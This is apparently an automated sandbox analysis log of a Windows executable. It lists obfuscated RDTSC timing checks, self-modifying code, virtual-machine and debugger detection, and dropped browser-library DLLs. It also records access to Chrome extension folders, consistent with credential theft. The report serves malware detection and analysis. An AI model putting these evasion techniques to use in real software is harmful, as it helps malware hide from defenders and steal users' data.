Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58204BC second address: 58204F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 pushfd 0x00000007 jmp 00007F3AD1315050h 0x0000000c jmp 00007F3AD1315055h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 xchg eax, ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov edi, 7E78351Eh 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58204F8 second address: 58204FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58204FE second address: 5820502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820502 second address: 58205D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3AD12BE0A3h 0x0000000e xchg eax, ecx 0x0000000f pushad 0x00000010 jmp 00007F3AD12BE0A4h 0x00000015 popad 0x00000016 push dword ptr [ebp+08h] 0x00000019 jmp 00007F3AD12BE0A7h 0x0000001e lea eax, dword ptr [ebp-08h] 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F3AD12BE0A4h 0x00000028 add eax, 1FB0B7D8h 0x0000002e jmp 00007F3AD12BE09Bh 0x00000033 popfd 0x00000034 pushfd 0x00000035 jmp 00007F3AD12BE0A8h 0x0000003a add eax, 7B650238h 0x00000040 jmp 00007F3AD12BE09Bh 0x00000045 popfd 0x00000046 popad 0x00000047 nop 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b pushfd 0x0000004c jmp 00007F3AD12BE09Bh 0x00000051 and ah, FFFFFFFEh 0x00000054 jmp 00007F3AD12BE0A9h 0x00000059 popfd 0x0000005a movzx ecx, bx 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820676 second address: 5820685 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD131504Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820685 second address: 582069D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov di, 5BECh 0x00000013 mov dx, 4AD8h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582069D second address: 58206FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD131504Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F3AD131504Bh 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 push eax 0x00000012 jmp 00007F3AD131504Bh 0x00000017 pop ecx 0x00000018 call 00007F3AD1315059h 0x0000001d call 00007F3AD1315050h 0x00000022 pop eax 0x00000023 pop ebx 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58206FE second address: 5820702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820702 second address: 5820708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820708 second address: 582070E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582070E second address: 5820712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820712 second address: 5820716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820716 second address: 5820753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a jmp 00007F3AD1315058h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3AD1315057h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820753 second address: 5820782 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE0A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+1Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3AD12BE09Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820782 second address: 58207A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 098BECE2h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push dword ptr [ebp+18h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3AD1315052h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58207A6 second address: 5820803 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 58871F24h 0x00000008 call 00007F3AD12BE09Dh 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push dword ptr [ebp+14h] 0x00000014 pushad 0x00000015 mov dx, F6C0h 0x00000019 call 00007F3AD12BE0A9h 0x0000001e mov edi, eax 0x00000020 pop esi 0x00000021 popad 0x00000022 push dword ptr [ebp+10h] 0x00000025 jmp 00007F3AD12BE0A3h 0x0000002a push dword ptr [ebp+0Ch] 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820803 second address: 5820809 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58007AB second address: 58007E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE0A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3AD12BE0A8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58007E5 second address: 58007E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58007E9 second address: 58007EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58007EF second address: 580081C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3AD131504Ch 0x00000009 or si, 0AE8h 0x0000000e jmp 00007F3AD131504Bh 0x00000013 popfd 0x00000014 mov ah, 02h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580081C second address: 5800833 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE0A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58008AF second address: 58008D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD131504Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3AD1315054h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58009D7 second address: 58009DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58009DD second address: 5800A1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c push ebx 0x0000000d pushfd 0x0000000e jmp 00007F3AD1315050h 0x00000013 add eax, 6D6899C8h 0x00000019 jmp 00007F3AD131504Bh 0x0000001e popfd 0x0000001f pop esi 0x00000020 movsx ebx, cx 0x00000023 popad 0x00000024 mov esi, edx 0x00000026 pushad 0x00000027 mov edx, esi 0x00000029 push eax 0x0000002a push edx 0x0000002b mov ax, EA2Fh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800A7C second address: 5800A97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE0A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800A97 second address: 5800AF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 mov si, dx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c sub edx, esi 0x0000000e jmp 00007F3AD131504Ah 0x00000013 mov edi, dword ptr [ebp+08h] 0x00000016 pushad 0x00000017 mov si, bx 0x0000001a popad 0x0000001b dec edi 0x0000001c pushad 0x0000001d mov di, A8D8h 0x00000021 push eax 0x00000022 push edx 0x00000023 pushfd 0x00000024 jmp 00007F3AD1315057h 0x00000029 xor si, 239Eh 0x0000002e jmp 00007F3AD1315059h 0x00000033 popfd 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800AF6 second address: 5800B15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 lea ebx, dword ptr [edi+01h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3AD12BE0A3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800B15 second address: 5800B2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AD1315054h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800B2D second address: 5800B4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE09Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edi+01h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov dx, BDE6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800B4A second address: 5800B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800B4F second address: 5800BCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE09Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edi 0x0000000a jmp 00007F3AD12BE0A0h 0x0000000f test al, al 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F3AD12BE09Eh 0x00000018 jmp 00007F3AD12BE0A5h 0x0000001d popfd 0x0000001e pushad 0x0000001f call 00007F3AD12BE09Eh 0x00000024 pop ecx 0x00000025 movsx edi, ax 0x00000028 popad 0x00000029 popad 0x0000002a jne 00007F3B408A5F6Ah 0x00000030 jmp 00007F3AD12BE09Ah 0x00000035 mov ecx, edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F3AD12BE09Ah 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800BCB second address: 5800BCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800BCF second address: 5800BD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800BD5 second address: 5800BE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AD131504Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800BE6 second address: 5800BEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800BEA second address: 5800BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 shr ecx, 02h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 mov ebx, eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800BFD second address: 5800CB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3AD12BE0A7h 0x00000009 add ax, 8E9Eh 0x0000000e jmp 00007F3AD12BE0A9h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F3AD12BE0A0h 0x0000001a or ax, 8098h 0x0000001f jmp 00007F3AD12BE09Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 rep movsd 0x0000002a rep movsd 0x0000002c rep movsd 0x0000002e rep movsd 0x00000030 rep movsd 0x00000032 jmp 00007F3AD12BE0A6h 0x00000037 mov ecx, edx 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007F3AD12BE09Eh 0x00000040 add ax, 4228h 0x00000045 jmp 00007F3AD12BE09Bh 0x0000004a popfd 0x0000004b mov di, ax 0x0000004e popad 0x0000004f and ecx, 03h 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F3AD12BE0A1h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800CB1 second address: 5800CB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800CB7 second address: 5800CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800CBB second address: 5800CBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800CBF second address: 5800CCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rep movsb 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800CCF second address: 5800CD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800CD3 second address: 5800CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800CD9 second address: 5800D22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD1315053h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 jmp 00007F3AD1315056h 0x00000015 mov eax, ebx 0x00000017 pushad 0x00000018 movzx esi, dx 0x0000001b mov si, di 0x0000001e popad 0x0000001f mov ecx, dword ptr [ebp-10h] 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov ebx, esi 0x00000027 mov edx, ecx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800D22 second address: 5800D9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE09Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 jmp 00007F3AD12BE0A6h 0x00000015 pop ecx 0x00000016 jmp 00007F3AD12BE0A0h 0x0000001b pop edi 0x0000001c jmp 00007F3AD12BE0A0h 0x00000021 pop esi 0x00000022 jmp 00007F3AD12BE0A0h 0x00000027 pop ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F3AD12BE0A7h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810185 second address: 5810189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5810189 second address: 58101A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE0A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58101A1 second address: 58101C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD131504Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3AD1315055h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58101C8 second address: 581021A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 call 00007F3AD12BE0A8h 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F3AD12BE0A8h 0x00000019 adc esi, 14A4CC98h 0x0000001f jmp 00007F3AD12BE09Bh 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581021A second address: 581026A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD1315059h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F3AD1315059h 0x00000013 sub cl, FFFFFF96h 0x00000016 jmp 00007F3AD1315051h 0x0000001b popfd 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581026A second address: 581028C instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3AD12BE0A4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581028C second address: 581029B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD131504Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581029B second address: 58102C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE0A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3AD12BE09Dh 0x00000011 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EFB1C2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10CE6DD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EFD8F2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10B8ABB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11339A9 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.4 %

Source: C:\Users\user\Desktop\file.exe TID: 7288	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7284	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7296	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7280	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7292	Thread sleep time: -38019s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C50C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C50C930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2109977957.0000000001089000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2110649970.0000000001A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2110649970.00000000019BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2109977957.0000000001089000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWD

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C555FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C555FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C55C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C55C410

